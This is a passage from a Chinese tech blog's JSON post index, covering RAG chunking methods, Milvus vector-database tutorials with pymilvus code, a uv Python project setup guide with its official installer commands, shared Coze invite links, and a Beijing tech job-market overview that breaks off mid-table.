实现方法：\n使用工具：可以使用如 Haystack 的 AutoMergingRetriever 或 LlamaIndex 的 AutoMergingRetriever。\n设置参数：\nthreshold：设定合并的阈值，例如 0.5 表示当超过 50% 的子块被检索到时，合并为父块。\ndocument_store：指定包含父节点的文档存储。\n检索流程：\n根据用户查询，检索与查询最相关的叶子节点。\n统计被检索到的叶子节点中，属于同一父节点的数量。\n如果某个父节点下的被检索到的子节点数量超过设定的阈值，则将这些子节点合并为其父节点，作为最终的检索结果返回。\n总结 在构建基于大语言模型（LLM）的检索增强生成（RAG）系统时，文本分块策略的选择对系统性能和生成质量具有决定性影响。本文深入探讨了六种主流的文本分块方法，分别是：固定大小切分、语义切分、基于文档结构的切分、递归切分、句子窗口检索和自动合并检索。以下是对这些方法的综合比较与应用建议：\n1. 固定大小切分（Fixed-size Chunking）\n优势：实现简单，计算效率高，适用于对语义完整性要求不高的场景。 劣势：可能破坏语义结构，导致上下文信息丢失，影响模型理解和检索效果。 应用建议：适用于结构简单、对语义连贯性要求不高的文本，如短消息、日志等。 2. 语义切分（Semantic Chunking）\n优势：保持语义完整性，提高检索准确性，减少冗余信息。 劣势：计算成本高，实现复杂，效果依赖于数据类型。 应用建议：适用于对语义连贯性要求高的任务，如复杂问答系统、法律文档分析等。 3. 基于文档结构的切分（Document Structure-based Chunking）\n优势：保留文档的层次结构，增强上下文理解，提高检索效果。 劣势：对文档结构依赖强，块大小可能不均，需结合其他策略优化。 应用建议：适用于结构清晰的文档，如技术文档、API文档、法律文本等。 4. 递归切分（Recursive Splitting）\n优势：灵活适应不同文本结构，保持语义结构，减少上下文割裂。 劣势：处理速度较慢，块大小不一致，计算资源消耗大。 应用建议：适用于自然语言文本和结构化文档，需在处理速度和语义完整性之间权衡。 5. 句子窗口检索（Sentence-Window Retrieval）\n优势：提高检索精度，丰富上下文信息，灵活的窗口大小。 劣势：窗口大小选择需谨慎，计算资源消耗较高，需注意模型输入限制。 应用建议：适用于需要高精度检索和丰富上下文支持的场景，如问答系统、文档摘要等。 6. 自动合并检索（Auto-merging Retrieval）\n优势：增强上下文完整性，提高生成质量，降低幻觉风险。 劣势：需合理设置层次结构和合并阈值，依赖元数据管理父子关系。 应用建议：适用于结构清晰、层次分明的文档，结合其他分块方法使用效果更佳。 在实际应用中，选择合适的文本分块策略应根据具体任务需求、数据类型和可用资源综合考虑。对于结构清晰的文档，建议优先采用基于文档结构的切分方法，并结合递归切分优化块大小；对于对语义连贯性要求高的任务，可采用语义切分方法；对于需要高精度检索和丰富上下文支持的场景，可采用句子窗口检索或自动合并检索策略。此外，根据实际情况以上 chunk 策略不必拘泥于任何一种，可以混合使用。\n","date":"2025-06-02T03:18:54Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-06-02-rag-xi-tong-wen-ben-qie-fen-cong-gu-ding-chang-du-dao-zhi-ne/cover.jpg","permalink":"/p/2025-06-02-rag-xi-tong-wen-ben-qie-fen-cong-gu-ding-chang-du-dao-zhi-ne/","title":"RAG 系统文本切分：从固定长度到智能检索的六种方法解析"},{"content":"Milvus 到底是干嘛的？ 它是“给向量找对象”的超高速数据库——存向量、比相似、返回前 K 名。\nMilvus 就是给「向量」找对象的数据库——它能帮你把一堆高维向量存好、管好、飞快地按“相似度”把最像的几条挑出来。\n和普通数据库比，Milvus天生会“模糊配对”，不是 exact match 而是“谁更像”。 内核走的是“先分桶/建图，再局部暴力”，所以大规模也能搜得飞快。 2.x 版本把「数据落盘」「分布式容灾」都外包给 RocksDB + MinIO + etcd——省了你很多心。 先认几个关键词 部署使用 五步跑通「单机体验」+ 三步升级「小集群」\n单机 5 步 拉镜像 docker run milvusdb/milvus:v2.4.3 建楼 create_collection()——确定字段维度、主键、向量字段。 搬人 insert() → flush()。 装电梯 create_index()；小数据直接 FLAT，大数据先 IVF，再视情况换 HNSW。 开门找人 load() → search()/query()；用完可 release(). 变成 3 节点小集群 最常用的 5 步操作 建楼：create collection，把字段都定义好 搬人：insert，把向量和元信息塞进去；记得 flush() 真正落盘 装电梯：create index，选对索引类型，未来搜索才快 请保安开门：load，没 load 就像门锁着，啥也搜不到 找人：search（可加条件 expr），或者只按字段 query 索引怎么挑？ 索引调优口诀 小样本先 FLAT 做 baseline——它慢但最准，方便肉眼看 Recall。 百 万级优先 IVF_FLAT：调 nlist=√N 起步；提高 nprobe 越准越慢。 千万级冲 HNSW：关键参 M (边数) 和 efConstruction (建图宽度)，调高两倍能大幅增 Recall。 超高并发记得“机＋内存”一起扩——索引放内存，多副本才分摊 QPS。 别踩这些坑 💡 向量维度要统一：128 就全 128，别混着来。 插完别忘 flush：不 flush 就像东西放购物车没结账，搜索不到。 没 load 就搜索：会报错，先 load()。 内存不够全加载：用 Partition，分批 load()。 精度不满意：调 nprobe（IVF）或换 HNSW 试试。 十大踩坑 + 急救方案 再进阶一点点 Hybrid Search：边比向量相似度，边过滤价格 \u0026lt; 500 这种条件，SQL 味道更浓。 一致性模式：默认够用；真要跨机房强一致性就选 Strong。 持久化：Milvus 本身用 RocksDB ＋ MinIO 存数据，你不用操心怎么落盘。 与 RAG 的关系：大模型把文本→向量，Milvus 负责“最近邻检索”，再把查到的文档喂回模型。 跟其它工具怎么配？ LangChain / LlamaIndex：把 Milvus VectorStore 接进去即可，RAG 极速上线。 Spark / Flink：批量离线写入 Milvus；确保分批 1 万条以内避免 RPC 超时。 Airflow：定时 ETL → Embedding → Milvus；flush、compact 都能写成 task。 “到底需要多大机器？”——粗算公式 内存 ≈ （向量维度 × 4 bytes × 向量条数 × 1.4 倍索引系数）﹢ 元数据大小\n例：1 亿条 768 维 → 768×4×1e8×1.4 ≈ 430 GB（得至少 512 GB 机器，或分区加载）。\n硬盘 ≈ 内存 × 1.2（索引 + RocksDB + 日志）。\n512G 内存看起来有点儿夸张，所以如果内存吃紧，可以参考以下方法进行优化：\nPython 端到端 Demo （含增删改查） 1from pymilvus import connections, Collection, utility, DataType, FieldSchema, CollectionSchema 2import numpy as np 3 4connections.connect(host=\u0026#34;localhost\u0026#34;, port=\u0026#34;19530\u0026#34;) 5 6# 1. 建楼（如果已存在就删掉重建） 7if utility.has_collection(\u0026#34;demo\u0026#34;): utility.drop_collection(\u0026#34;demo\u0026#34;) 8 9schema = CollectionSchema([ 10 FieldSchema(\u0026#34;id\u0026#34;, DataType.INT64, is_primary=True, auto_id=True), 11 FieldSchema(\u0026#34;title\u0026#34;, DataType.VARCHAR, max_length=200), 12 FieldSchema(\u0026#34;price\u0026#34;, DataType.FLOAT), 13 FieldSchema(\u0026#34;emb\u0026#34;, DataType.FLOAT_VECTOR, dim=128) 14]) 15col = Collection(\u0026#34;demo\u0026#34;, schema) 16 17# 2. 插 10 条数据 18titles = [f\u0026#34;商品{i}\u0026#34;for i in range(10)] 19prices = [i * 10.0for i in range(10)] 20vecs = np.random.random((10, 128)).tolist() 21col.insert([titles, prices, vecs]); col.flush() 22 23# 3. 建 IVF 索引 \u0026amp; 加载 24col.create_index(\u0026#34;emb\u0026#34;, {\u0026#34;index_type\u0026#34;:\u0026#34;IVF_FLAT\u0026#34;,\u0026#34;metric_type\u0026#34;:\u0026#34;L2\u0026#34;,\u0026#34;params\u0026#34;:{\u0026#34;nlist\u0026#34;:64}}) 25col.load() 26 27# 4. 搜索 + 过滤价格 \u0026lt; 50 28qv = [np.random.random(128).tolist()] 29hits = col.search(qv, \u0026#34;emb\u0026#34;, {\u0026#34;metric_type\u0026#34;:\u0026#34;L2\u0026#34;,\u0026#34;params\u0026#34;:{\u0026#34;nprobe\u0026#34;:8}}, limit=5, expr=\u0026#34;price \u0026lt; 50\u0026#34;) 30print([(h.entity.get(\u0026#39;title\u0026#39;), h.distance) for h in hits[0]]) 31 32# 5. 删除一条，再查 33del_id = hits[0][0].id 34col.delete(f\u0026#34;id in [{del_id}]\u0026#34;); col.flush() ","date":"2025-06-01T04:03:27Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-06-01-milvus-xiang-liang-shu-ju-ku-kuai-su-ru-men-ren-hua-ban/cover.jpg","permalink":"/p/2025-06-01-milvus-xiang-liang-shu-ju-ku-kuai-su-ru-men-ren-hua-ban/","title":"Milvus 向量数据库快速入门（人话版）"},{"content":"一、什么是 Milvus？ Milvus 是一款开源的向量数据库，用于存储、管理和检索高维向量数据。它适合构建各种 AI 场景下的向量检索系统，如推荐、图像搜索、问答系统等。\n概念关系图（逻辑结构） 1Milvus数据库 2├── Collection集合 3│ ├── Partition分区 4│ │ └── Entity实体 5│ │ └── Fields字段（向量 + 元数据） 6│ ├── Schema结构 7│ └── Index索引 8├── 查询操作（Search / Query） 9└── 数据一致性机制 二、Milvus 核心概念速查表 实体 Entity 示例 1{ 2 \u0026#34;id\u0026#34;: 1, 3 \u0026#34;embedding\u0026#34;: [0.1, 0.2, 0.3, ...], 4 \u0026#34;title\u0026#34;: \u0026#34;iPhone\u0026#34;, 5 \u0026#34;price\u0026#34;: 999.0 6} 三、核心操作流程 四、一致性模型与数据安全保障 Milvus 提供以下一致性保证：\n五、索引类型选择指南 六、进阶知识点补充 七、实战：使用 Python SDK 完整示例（基于 Milvus 2.x） 环境准备 1pip install pymilvus 初始化连接 1from pymilvus import connections 2connections.connect(alias=\u0026#34;default\u0026#34;, host=\u0026#34;localhost\u0026#34;, port=\u0026#34;19530\u0026#34;) 创建 Collection 1from pymilvus import FieldSchema, CollectionSchema, DataType, Collection 2fields = [ 3 FieldSchema(name=\u0026#34;id\u0026#34;, dtype=DataType.INT64, is_primary=True, auto_id=True), 4 FieldSchema(name=\u0026#34;title\u0026#34;, dtype=DataType.VARCHAR, max_length=200), 5 FieldSchema(name=\u0026#34;embedding\u0026#34;, dtype=DataType.FLOAT_VECTOR, dim=128) 6] 7schema = CollectionSchema(fields, description=\u0026#34;商品向量集合\u0026#34;) 8collection = Collection(name=\u0026#34;product_vectors\u0026#34;, schema=schema) 插入数据 1import numpy as np 2titles = [\u0026#34;iPhone\u0026#34;, \u0026#34;MacBook\u0026#34;, \u0026#34;AirPods\u0026#34;] 3vectors = [np.random.rand(128).tolist() for _ in range(3)] 4collection.insert([titles, vectors]) 5collection.flush() 创建索引 \u0026amp; 加载数据 1index_params = { 2 \u0026#34;index_type\u0026#34;: \u0026#34;IVF_FLAT\u0026#34;, 3 \u0026#34;metric_type\u0026#34;: \u0026#34;L2\u0026#34;, 4 \u0026#34;params\u0026#34;: {\u0026#34;nlist\u0026#34;: 128} 5} 6collection.create_index(field_name=\u0026#34;embedding\u0026#34;, index_params=index_params) 7collection.load() 向量搜索 + 条件过滤（Hybrid Search） 1query_vector = [np.random.rand(128).tolist()] 2search_params = {\u0026#34;metric_type\u0026#34;: \u0026#34;L2\u0026#34;, \u0026#34;params\u0026#34;: {\u0026#34;nprobe\u0026#34;: 10}} 3results = collection.search( 4 data=query_vector, 5 anns_field=\u0026#34;embedding\u0026#34;, 6 param=search_params, 7 limit=5, 8 expr=\u0026#34;title like \u0026#39;Mac%\u0026#39;\u0026#34; 9) 10for hits in results: 11 for hit in hits: 12 print(f\u0026#34;id: {hit.id}, distance: {hit.distance}\u0026#34;) 八、常见踩坑提醒 九、真实应用场景参考：电商推荐系统 十、快速上手建议 ✅ 推荐\n从创建 Collection 开始，理解字段与向量的对应关系 一步步插入数据、构建索引、执行搜索 多关注向量维度、索引类型和内存管理 ❌ 避免\n向量维度不统一 未加载数据就开始搜索 ","date":"2025-05-31T07:47:05Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-05-31-milvus-xiang-liang-shu-ju-ku-kuai-su-ru-men/cover.jpg","permalink":"/p/2025-05-31-milvus-xiang-liang-shu-ju-ku-kuai-su-ru-men/","title":"Milvus 向量数据库快速入门"},{"content":"uv 我准备用 uv 初始化一个 python 项目\n环境 我用的是苹果笔记本 MacBookPro ，具体的操作系统及硬件参数如下：\nuv 的介绍与安装 “\nuv 是一个使用 Rust 编写的工具，可以用来替代 pip、pipenv、pipx、poetry、virtualenv 等工具的使用，甚至还可以用来管理系统中所安装的 Python 发行版。uv 借鉴了很多现代语言中对于项目依赖的管理方式，项目中对于依赖的管理要远远优于使用 pip 和requirements.txt的方式。\n我之前用过 pip 、pipx 等工具，发现 uv 确实要快不少。具体有多快呢？ github 上有个图：\n🚀速度比传统 pip 快 10-100倍。\n根据官网的介绍，uv 主要支持以下功能：\n支持版本锁定的项目依赖管理。 支持直接运行 Python 脚本。 支持对系统中安装的 Python 进行管理，支持多版本 Python 共存。 支持 Python 包的发布和安装。 支持兼容 pip 的应用接口。 支持 Cargo 模式的项目工作区管理。 更优化的全局支持库缓存。 运行无需 Rust 或者 Python 支持。 支持 Windows、macOS 和 Linux 系统 uv 对多 python 版本和环境的管理很不错，这样你就可以一个项目指定一个特定的 Python 版本，放心使用，想怎么折腾怎么折腾，不会影响全局。\n最近比较火的 MCP 很多也是用 uv 运行的，因为用 uv 命令可以直接运行 python 脚本。\nuv 的安装非常简单：\n1# macOS和Linux 2curl -LsSf https://astral.sh/uv/install.sh | sh 3 4# Windows PowerShell 5powershell -ExecutionPolicy ByPass -c \u0026#34;irm https://astral.sh/uv/install.ps1 | iex\u0026#34; uv 对 Python 的环境管理 首先用 uv 管理一下我们本机安装的 Python 环境。即到底安装了几个、哪些版本的 python。\n可以用 uv python list 查看，像这样：\n可以看到我已经安装了多个版本的 python。 在后面建项目的时候，我选用 3.13 这个版本。当然你也可以根据你的情况下载新的需要使用的版本。这里给出一组相关命令：\n1uv python install，安装指定版本的 Python。 2uv python list，列出系统中当前已经安装的 Python 版本。 3uv python find，查找一个已经安装的 Python 版本。 4uv python pin，固定当前项目使用指定的 Python 版本。 5uv python uninstall，卸载指定版本的 Python。 比如我要安装 3.12 这个版本，我就可以这样：\n1uv python install 3.13 装好了不想要了，就可以这样卸载掉它：\n1uv python uninstall 3.13 uv 进行项目管理 python 的环境有了以后，我们就可以新建项目了，建项目的时候也要用 uv 来进行初始化。\n“\nuv 的项目管理功能更多的借鉴了 Rust 中 Cargo 工具的项目管理理念。但主要区别是 uv 是通过项目目录中的pyproject.toml文件来完成项目管理的。\n1uv init myproject 初始化后会生成以下几个文件 ：\n虽然 uv init myproject 会帮你创建项目目录和 pyproject.toml，但默认 不会自动创建虚拟环境（env），所以我们需要手动创建。\n1# 手动创建虚拟环境 2uv venv --python 3.13 3# 激活虚拟环境 4source .venv/bin/activate 虚拟环境激活后，项目中会多一个.venv 文件夹。\n接下来我们要自己创建一下源码目录和测试目录：\n1mkdir -p src tests 到这里工程的相关目录我们就先到此为止，基本上创建完了，然后我们来编辑\npyproject.toml 配置文件。\ntoml 配置文件 我们先介绍一下 toml 文件，可能有些朋友不怎么了解它，比如搞 java 开发的。\nTOML（Tom\u0026rsquo;s Obvious, Minimal Language）是一种配置文件格式，设计目标是易读、易写、易于解析，非常适合作为程序的配置语言，尤其是在现代的跨平台开发中被广泛采用。\n你看这名字是不是觉得肯定跟 Tom 大哥有关系？\n对，因为 TOML 由 GitHub 联合创始人 Tom Preston-Werner 在 2013 年发起，用以替代 JSON、INI 等配置格式在可读性和灵活性上的不足。\n不过吧，后来这大哥（和她媳妇）不在 GitHub 干了，因为他们的一些不光彩的行为。具体是什么就不多说了，想八卦一下的可以去查查。\ntoml 配置文件用途广泛，常用于以下场景：\n应用程序运行时配置 包管理工具（如 Python 的 pyproject.toml、Rust 的 Cargo.toml） 构建工具配置（如 poetry.toml, uv.toml） 数据库或服务连接信息等环境参数配置 举个例子吧：\n1# 数据库配置 2[database] 3server = \u0026#34;192.168.1.1\u0026#34; 4ports = [ 8001, 8001, 8002 ] 5enabled = true 6 7# 应用信息 8[app] 9name = \u0026#34;MyApp\u0026#34; 10version = \u0026#34;1.0.0\u0026#34; 11release_date = 2025-04-25T12:00:00Z TOML 的特点可以总结为：\n“\n“比 JSON 更适合人读，比 YAML 更适合程序解析。”\n它已经成为现代软件开发中最流行的配置文件格式之一，特别是在需要 清晰结构 + 丰富类型 + 可维护性 的场景中表现出色。\n常见语言的支持情况：\nPython：tomli / toml / pytoml / tomllib（Python 3.11 原生支持） Rust：官方包管理工具 Cargo 就使用 TOML 格式的 Cargo.toml Go：支持 BurntSushi/toml 库 Node.js：支持 @iarna/toml 等多个库 常见用途：\nPython 包管理：pyproject.toml（PEP 518 标准） Rust 项目管理：Cargo.toml Web 项目配置：netlify.toml DevOps 工具：例如 uv 的配置也是用 toml 文件 TOML 与其他格式的对比：\n特性 TOML JSON YAML INI 可读性 ✅ 高 中 中高（但复杂） 中 注释支持 ✅ 支持 ❌ 不支持 ✅ 支持 ✅ 支持 数据类型支持 ✅ 多 ✅ 多 ✅ 多 ❌ 有限 库支持 ✅ 常见语言皆支持 ✅ 全面 ✅ 全面 ✅ 较好 学习曲线 ✅ 低 ✅ 低 ❌ 偏高 ✅ 极低 你看，TOML 作为配置文件感觉很不错对吧。\n我们关于 TOML 的介绍就到此为止，现在来说一下我们这个初始化的新项目中的 pyproject.toml 文件要写成什么样。\n就这样：\n1[build-system] 2requires = [\u0026#34;hatchling\u0026#34;] 3build-backend = \u0026#34;hatchling.build\u0026#34; 4 5[project] 6name = \u0026#34;myproject\u0026#34; 7version = \u0026#34;0.1.0\u0026#34; 8description = \u0026#34;一个基于Python 3.13.3的项目\u0026#34; 9readme = \u0026#34;README.md\u0026#34; 10requires-python = \u0026#34;\u0026gt;=3.13\u0026#34; 11authors = [ 12 {name = \u0026#34;xiaobox\u0026#34;, email = \u0026#34;xiaobox@gmail.com\u0026#34;} 13] 14dependencies = [ 15 \u0026#34;pytest\u0026gt;=7.4.3\u0026#34;, 16 \u0026#34;fastapi\u0026gt;=0.110.0\u0026#34;, 17 \u0026#34;uvicorn\u0026gt;=0.27.0\u0026#34;, 18 \u0026#34;httpx\u0026gt;=0.27.0\u0026#34;, 19] 20classifiers = [ 21 \u0026#34;Programming Language :: Python :: 3.13\u0026#34;, 22 \u0026#34;License :: OSI Approved :: MIT License\u0026#34;, 23 \u0026#34;Operating System :: OS Independent\u0026#34;, 24] 25 26[project.scripts] 27myproject = \u0026#34;src.main:main\u0026#34; 28 29[project.urls] 30\u0026#34;Homepage\u0026#34; = \u0026#34;https://github.com/yourusername/myproject\u0026#34; 31\u0026#34;Bug Tracker\u0026#34; = \u0026#34;https://github.com/yourusername/myproject/issues\u0026#34; 32 33[project.optional-dependencies] 34dev = [ 35 \u0026#34;black\u0026gt;=23.1.0\u0026#34;, 36 \u0026#34;isort\u0026gt;=5.12.0\u0026#34;, 37 \u0026#34;mypy\u0026gt;=1.5.1\u0026#34;, 38] 39 40[tool.pytest] 41testpaths = [\u0026#34;tests\u0026#34;] 42 43[tool.black] 44line-length = 88 45target-version = [\u0026#34;py313\u0026#34;] 46 47[tool.isort] 48profile = \u0026#34;black\u0026#34; 49line_length = 88 50 51[tool.hatch.build.targets.wheel] 52packages = [\u0026#34;src\u0026#34;] 别小看了这个文件，它可是一个使用了 Hatch 构建工具、遵循 PEP 621 和现代 Python 项目结构规范的项目配置，涵盖了运行依赖、开发依赖、CLI 脚本、格式化工具配置、测试路径和打包目标，非常完整规范。\n所以我们得逐行解释一下这个重要的文件。\ntoml 配置文件的逐行解释 我们上面的配置文件是一个标准的 Python 项目使用 pyproject.toml 来管理构建系统、依赖、工具配置的典型示例。下面我们来拆解和解释一下。\n✅ [build-system]：构建系统配置（PEP 517 标准）\n1[build-system] 2requires = [\u0026#34;hatchling\u0026#34;] 3build-backend = \u0026#34;hatchling.build\u0026#34; requires：构建该项目所需的构建工具，这里是 hatchling，必须先安装。 build-backend：指定用哪个构建后端来执行打包任务，这里是 hatchling.build。 hatchling 有点儿类似 java 中的 Maven 或 Gradle，都是用来执行自动化构建流程的。\nMaven 是把 java 代码编译、构建成 jar 包，方便管理依赖、分发、版本控制 hatchling 是把 python 代码构建成 Wheel（.whl 文件）或 Source Distribution（.tar.gz 或 .zip 文件），也是为了做依赖管理、分发和版本控制。 总结来说：Python 的构建是将代码和依赖打包成 .whl 或 .tar.gz，类似于 Java 打包成 .jar。核心目的是简化分发、确保环境一致性、自动化依赖管理。\n✅ [project]：项目的核心元信息（PEP 621 标准）\n1[project] 2name = \u0026#34;myproject\u0026#34; 项目名称，最终发布到 PyPI 时会用这个名字。 1version = \u0026#34;0.1.0\u0026#34; 当前版本号。 1description = \u0026#34;一个基于Python 3.13.3的项目\u0026#34; 简短的项目说明。 1readme = \u0026#34;README.md\u0026#34; 指定项目的 README 文件，将作为 PyPI 上项目首页的介绍内容。 1requires-python = \u0026#34;\u0026gt;=3.13\u0026#34; 要求的 Python 版本最低为 3.13。 1authors = [ 2 {name = \u0026#34;xiaobox\u0026#34;, email = \u0026#34;xiaobox@gmail.com\u0026#34;} 3] 作者信息，支持多个，用列表表示。 1dependencies = [ 2 \u0026#34;pytest\u0026gt;=7.4.3\u0026#34;, 3 \u0026#34;fastapi\u0026gt;=0.110.0\u0026#34;, 4 \u0026#34;uvicorn\u0026gt;=0.27.0\u0026#34;, 5 \u0026#34;httpx\u0026gt;=0.27.0\u0026#34;, 6] 项目的运行时依赖库，在安装时会自动安装这些包。这里我加入了 pytest、fastapi 的依赖，因为我想把这个项目作为一个 api 服务提供出去。 1classifiers = [ 2 \u0026#34;Programming Language :: Python :: 3.13\u0026#34;, 3 \u0026#34;License :: OSI Approved :: MIT License\u0026#34;, 4 \u0026#34;Operating System :: OS Independent\u0026#34;, 5] 用于 PyPI 分类（帮助搜索和筛选）。 ✅ [project.scripts]：定义可执行命令（如 CLI） 1[project.scripts] 2myproject = \u0026#34;src.main:main\u0026#34; 安装后运行 myproject 命令会调用 src/main.py 中的 main() 函数。（我们需要提前把之前的 main.py 文件要先移动到 /src 目录下） ✅ [project.urls]：项目的相关链接（非必须） 1[project.urls] 2\u0026#34;Homepage\u0026#34; = \u0026#34;https://github.com/yourusername/myproject\u0026#34; 3\u0026#34;Bug Tracker\u0026#34; = \u0026#34;https://github.com/yourusername/myproject/issues\u0026#34; 为项目指定一些有用的链接，如主页、问题反馈页等。 ✅ [project.optional-dependencies]：可选依赖（比如开发环境） 1[project.optional-dependencies] 2dev = [ 3 \u0026#34;black\u0026gt;=23.1.0\u0026#34;, 4 \u0026#34;isort\u0026gt;=5.12.0\u0026#34;, 5 \u0026#34;mypy\u0026gt;=1.5.1\u0026#34;, 6] 我们为开发环境安装了三个库：black、isort 和 mypy\n介绍一下这三个工具\nblack：是一个 Python 代码格式化工具。自动把你的 Python 代码排版成统一风格，比如：缩进、换行、空格都按标准格式处理，让你的 Python 代码看起来更整齐、统一，无需自己动手排版。\nisort：是一个 Python 导入（import）语句自动排序工具。自动整理文件顶部的 import 语句，比如按字母顺序排列，分组标准库、第三方库、自定义模块，保持导入部分有序且规范。\nmypy：是一个 Python 静态类型检查工具。检查你的代码里的类型注解（type hints）是不是正确，比如函数参数和返回值类型对不对，帮你在写代码时发现类型出错的地方，提前避免 bug。\n✅ [tool.pytest]：Pytest 配置 1[tool.pytest] 2testpaths = [\u0026#34;tests\u0026#34;] 指定测试用例所在路径，pytest 会从 tests/ 目录开始查找测试文件。 ✅ [tool.black]：代码格式化工具 Black 的配置 1[tool.black] 2line-length = 88 3target-version = [\u0026#34;py313\u0026#34;] 设置代码的行最大长度为 88（默认值），目标 Python 版本是 3.13。 ✅ [tool.isort]：import 排序工具 isort 的配置 1[tool.isort] 2profile = \u0026#34;black\u0026#34; 3line_length = 88 使用 black 的风格对 import 排序。 设置行长度为 88，与 black 保持一致。 ✅ [tool.hatch.build.targets.wheel]：Hatchling 打包配置 1[tool.hatch.build.targets.wheel] 2packages = [\u0026#34;src\u0026#34;] 指定打包时要包含的代码目录为 src。 用一句话总结下这个 pyproject.toml 配置文件 ：\n“这是一个使用 Hatch 构建工具、遵循 PEP 621 和现代 Python 项目结构规范的项目配置，涵盖了运行依赖、开发依赖、CLI 脚本、格式化工具配置、测试路径和打包目标，非常完整规范。”\n安装和更新依赖 上面这个文件编辑完成后，我们就可以 安装项目和开发依赖了：\n1uv pip install -e \u0026#34;.[dev]\u0026#34; 如果后面你更新了 pyproject.toml 文件可以执行以下命令来 “手动刷新” 一个依赖库：\n1uv sync --extra dev 加入 --extra dev 参数是因为 uv sync 默认只安装 [project.dependencies] 中列出的正式依赖。\n不会自动安装 [project.optional-dependencies]（比如 dev 里面的 black、isort、mypy）\nuv sync --extra dev 的意思是：除了正式依赖，还要把 [project.optional-dependencies.dev] 里的东西也同步上\nuv.lock 当执行完 uv sync --extra dev ，安装好依赖好， uv 会在项目根路径生成一个 uv.lock 文件 。uv.lock 是 锁定依赖版本 的文件。\n它的作用是：把 pyproject.toml 里描述的依赖（比如 \u0026ldquo;fastapi\u0026gt;=0.110.0\u0026rdquo; 这样比较宽松的范围），具体锁定成明确、唯一的版本（比如 \u0026ldquo;fastapi==0.110.1\u0026rdquo;）。\n这样，每次安装时，不管谁来安装（你自己、你的同事、你的服务器），大家安装的依赖版本都是一模一样的，不会因为小版本不同导致奇怪的 bug。\nuv.lock 是自动生成、自动管理的。不需手动编辑。\n其他 其他的，如 fastapi 相关的、 打 docker 镜像部署什么的相对本文主题超纲了，就不在本文中过多描述了。\n总结 本文我们分享了用 uv 初始化和管理 Python 项目的完整流程。\n从安装 uv 开始，我介绍了它为什么比传统工具（pip、pipx、poetry 等）更快更好用，以及 uv 在多 Python 版本管理、依赖锁定、项目初始化方面带来的便利。\n随后，详细讲了如何用 uv 管理本地 Python 环境、新建项目、创建虚拟环境、编辑 pyproject.toml 配置，并逐步解释了各个配置项的作用\n整体来看，uv 提供了一套现代、规范、高效的 Python 项目管理方案，非常适合用来打基础，后续无论是开发 API、打包 Docker 镜像，还是部署上线，都能有条不紊地进行。\n同时我们通过在项目创建的过程中看到各语言（java、nodejs\u0026hellip;）都相通或类似的工程 “最佳实践”，真是应了那句话：“大道至简，真理趋同”\n","date":"2025-04-27T06:57:05Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-04-27-cong-chu-shi-hua-yi-ge-xian-dai-python-xiang-mu-zhong-xue-xi/cover.jpg","permalink":"/p/2025-04-27-cong-chu-shi-hua-yi-ge-xian-dai-python-xiang-mu-zhong-xue-xi/","title":"从初始化一个现代 python 项目中学习到的东西"},{"content":"分享几个扣子的邀请码 今天 扣子空间挺火，有点儿像 Manus, 体验下来不如 Manus 强,\n需要邀请码，想体验的朋友们，可以自取\nhttps://www.coze.cn/space-preview?invite_code=2HUGN0SQ https://www.coze.cn/space-preview?invite_code=YP8G30DB https://www.coze.cn/space-preview?invite_code=35WY7EJA https://www.coze.cn/space-preview?invite_code=YH4W846S https://www.coze.cn/space-preview?invite_code=4QK9CLAS\n小盒子的技术分享\n","date":"2025-04-21T10:12:20Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-04-21-fen-xiang-ji-ge-kou-zi-de-yao-qing-ma/cover.jpg","permalink":"/p/2025-04-21-fen-xiang-ji-ge-kou-zi-de-yao-qing-ma/","title":"分享几个扣子的邀请码"},{"content":"过去一年，北京数字经济对 GDP 的贡献继续攀升、AI + 传统产业融合提速，拉动技术岗位需求在 2025 年保持“量稳、质升”——总招聘量与 2024 年大体持平，但 高端与 AI‑相关职能增幅 15% 以上；与此同时，普通开发与测试岗位竞争加剧、薪酬增速放缓。整体呈现“尖端紧缺‑常规内卷”的双轨格局。\n下面按岗位类型分述趋势、薪酬区间与热门技能。\n宏观驱动与整体需求 北京仍是全国数字经济第一城，数字产业增加值年均增速 9%，5G、人工智能、信创（国产软硬件）成为新增岗位主引擎 2025 Hays 人才趋势显示，生成式 AI 项目扩张、混合办公、用工灵活化 是企业技术团队的三大关键词。 拉勾《一线城市数字科技人才迁徙洞察》指出，北京对高端技术人才的 净流入率 17.8% ，居四大一线城市之首，但应届生流入比例下降 4 pct，反映供给结构趋紧。 信息技术业 2024Q2‑2025Q1 招聘量同比下滑 27.8%，但算法、运维支持、产品管理等职能逆势增长。 细分岗位趋势 前端开发 重点趋势 说明 框架 React18、Vue3 + TypeScript 成主流；大厂面试开始考察 RSC、微前端落地经验。 多端融合 ByteDance、京东等推行 Modular/Universal mode，将 H5 + 小程序 + 桌面统一到一套代码。 AI‑Assist 高频使用 GitHub Copilot、ByteDance CodeGeeX 等 AI 辅助，企业更看重 Prompt‑Engineering 基础。 平均月薪区间 2 – 3.5 万元；头部公司核心前端 \u0026gt; 4.5 万元。\n后端／全栈开发 Go + Rust 在高并发与可信场景快速渗透，Java 依旧占 48% 招聘量。 Cloud‑Native：K8s、Service Mesh、Sidecar 架构写入 JD；Serverless FaaS 试点项目增多。 薪酬与前端近似，但 3–6 年经验段的涨幅（+6.8% YoY）高于前端。 运维 / SRE 自动化 \u0026amp; AIOps：日志可观测、LLM‑based Root Cause Analysis 成新卖点。 大厂 DevOps‑SRE 岗位给出 15k–50k/月，中位值 34k，高于全国均值 21k 需求集中在云平台运维、容器治理、CI /CD 流水线二次开发。 测试 / QA Shift‑Left：招聘 JD 要求能写 E2E、契合 DevSecOps；懂 API/性能/安全一体的 Full‑Stack QA 稀缺。 普通功能测试招聘量降 12%，月薪中位值 14k；自动化 / 安全测试可达 2 – 2.5 万元。 架构 / AI 大模型 大模型平台化：企业亟需能打通推理服务、RAG、知识治理的“业务 + 算法 + 云”复合型架构师。 北京人社局薪酬季报：AI 大模型架构师、深度学习研究员一季度月薪中位值 \u0026gt; 4 万元，位列所有 IT 职位之首。 供应缺口：相关岗位投递比仅 1 : 7，而常规开发已超过 1 : 40。 薪酬对比（中位值，税前 / 月） 职能 初级 (0‑3 年) 中级 (3‑6 年) 高级 / 专家 YoY 涨幅 前端 14 k 23 k 32 k+ +3.5 % 后端 15 k 25 k 35 k+ +6.8 % 